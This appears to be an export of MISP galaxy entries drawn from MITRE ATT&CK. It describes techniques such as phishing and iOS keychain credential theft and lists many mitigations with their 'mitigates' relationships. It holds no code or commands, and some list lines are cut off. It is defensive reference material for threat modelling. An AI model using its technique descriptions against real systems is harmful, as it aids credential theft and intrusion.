Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)

Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)

The tag is: misp-galaxy:mitre-attack-pattern="Phishing - T1566"

Table 5964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1566">https://attack.mitre.org/techniques/T1566</a></td>
</tr>
<tr>
<td><a href="https://blog.sygnia.co/luna-moth-true-subscription-scams">https://blog.sygnia.co/luna-moth-true-subscription-scams</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/">https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/">https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa23-025a">https://www.cisa.gov/uscert/ncas/alerts/aa23-025a</a></td>
</tr>
</tbody>
</table>
**Keychain - T1579**

Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database. (Citation: Apple Keychain Services) (Citation: Elcomsoft Decrypt Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1579"*

**View relationships graph**

Keychain - T1579 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Keychain - T1634.001"* with estimative-language:likelihood-probability="almost-certain"

**Table 5965. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1579">https://attack.mitre.org/techniques/T1579</a></td>
</tr>
</tbody>
</table>

**Course of Action**

ATT&CK Mitigation.

Course of Action is a cluster galaxy available in JSON format at [this location](https://attack.mitre.org/techniques/T1579) The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

MITRE

**Registry Run Keys / Startup Folder Mitigation - T1060**

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies. 
The tag is: misp-galaxy:mitre-course-of-action="Registry Run Keys / Startup Folder Mitigation - T1060"

Table 5966. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1060">https://attack.mitre.org/mitigations/T1060</a></td>
</tr>
</tbody>
</table>

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"

Table 5967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1041">https://attack.mitre.org/mitigations/T1041</a></td>
</tr>
</tbody>
</table>

Exfiltration Over Other Network Medium Mitigation - T1011

Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Other Network Medium Mitigation - T1011"
Disable or Remove Feature or Program - M1042

Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Disable or Remove Feature or Program - M1042"

View relationships graph

Disable or Remove Feature or Program - M1042 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Direct Cloud VM Connections - T1021.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Emond - T1546.014" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"

Table 5969. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1042">https://attack.mitre.org/mitigations/M1042</a></td>
</tr>
</tbody>
</table>

**Limit Access to Resource Over Network - M1035**

Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

The tag is: misp-galaxy:mitre-course-of-action="Limit Access to Resource Over Network - M1035"

View relationships graph

Limit Access to Resource Over Network - M1035 has relationships with:


• mitigates: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 5970. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1035">https://attack.mitre.org/mitigations/M1035</a></td>
</tr>
</tbody>
</table>

**Data from Network Shared Drive Mitigation - T1039**

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation - T1039"

Table 5971. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
</tbody>
</table>
Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

The tag is: misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"
Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"

Table 5974. Table References

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.
Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

The tag is: misp-galaxy:mitre-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"

### Table 5975. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1198">https://attack.mitre.org/mitigations/T1198</a></td>
</tr>
<tr>
<td><a href="https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf">https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf</a></td>
</tr>
</tbody>
</table>

### Standard Non-Application Layer Protocol Mitigation - T1095

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"

### Table 5976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1095">https://attack.mitre.org/mitigations/T1095</a></td>
</tr>
</tbody>
</table>

### Deobfuscate/Decode Files or Information Mitigation - T1140

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"
Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: misp-galaxy:mitre-course-of-action="Deploy Compromised Device Detection Method - M1010"

Deploy Compromised Device Detection Method - M1010 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1623" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1634.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Store - T1634" with
Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation - T1030"

Data from Local System Mitigation - T1005

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Local System Mitigation - T1005"
File System Logical Offsets Mitigation - T1006

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation - T1006"`

Caution with Device Administrator Access - M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: `misp-galaxy:mitre-course-of-action="Caution with Device Administrator Access - M1007"`

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that
are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: `misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation - T1070"

Table 5983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1070">https://attack.mitre.org/mitigations/T1070</a></td>
</tr>
</tbody>
</table>

**Exploitation of Remote Services Mitigation - T1210**

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

The tag is: `misp-galaxy:mitre-course-of-action="Exploitation of Remote Services Mitigation - T1210"

Table 5984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1210">https://attack.mitre.org/mitigations/T1210</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Control-flow_integrity">https://en.wikipedia.org/wiki/Control-flow_integrity</a></td>
</tr>
</tbody>
</table>
System Network Configuration Discovery Mitigation - T1016

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action*="System Network Configuration Discovery Mitigation - T1016"

Table 5985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1016">https://attack.mitre.org/mitigations/T1016</a></td>
</tr>
</tbody>
</table>

Replication Through Removable Media Mitigation - T1091

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action*="Replication Through Removable Media Mitigation - T1091"

Table 5986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
</tbody>
</table>
Restrict File and Directory Permissions - M1022

Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.

The tag is: misp-galaxy:mitre-course-of-action="Restrict File and Directory Permissions - M1022"

View relationships graph

Restrict File and Directory Permissions - M1022 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Login Hook - T1037.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

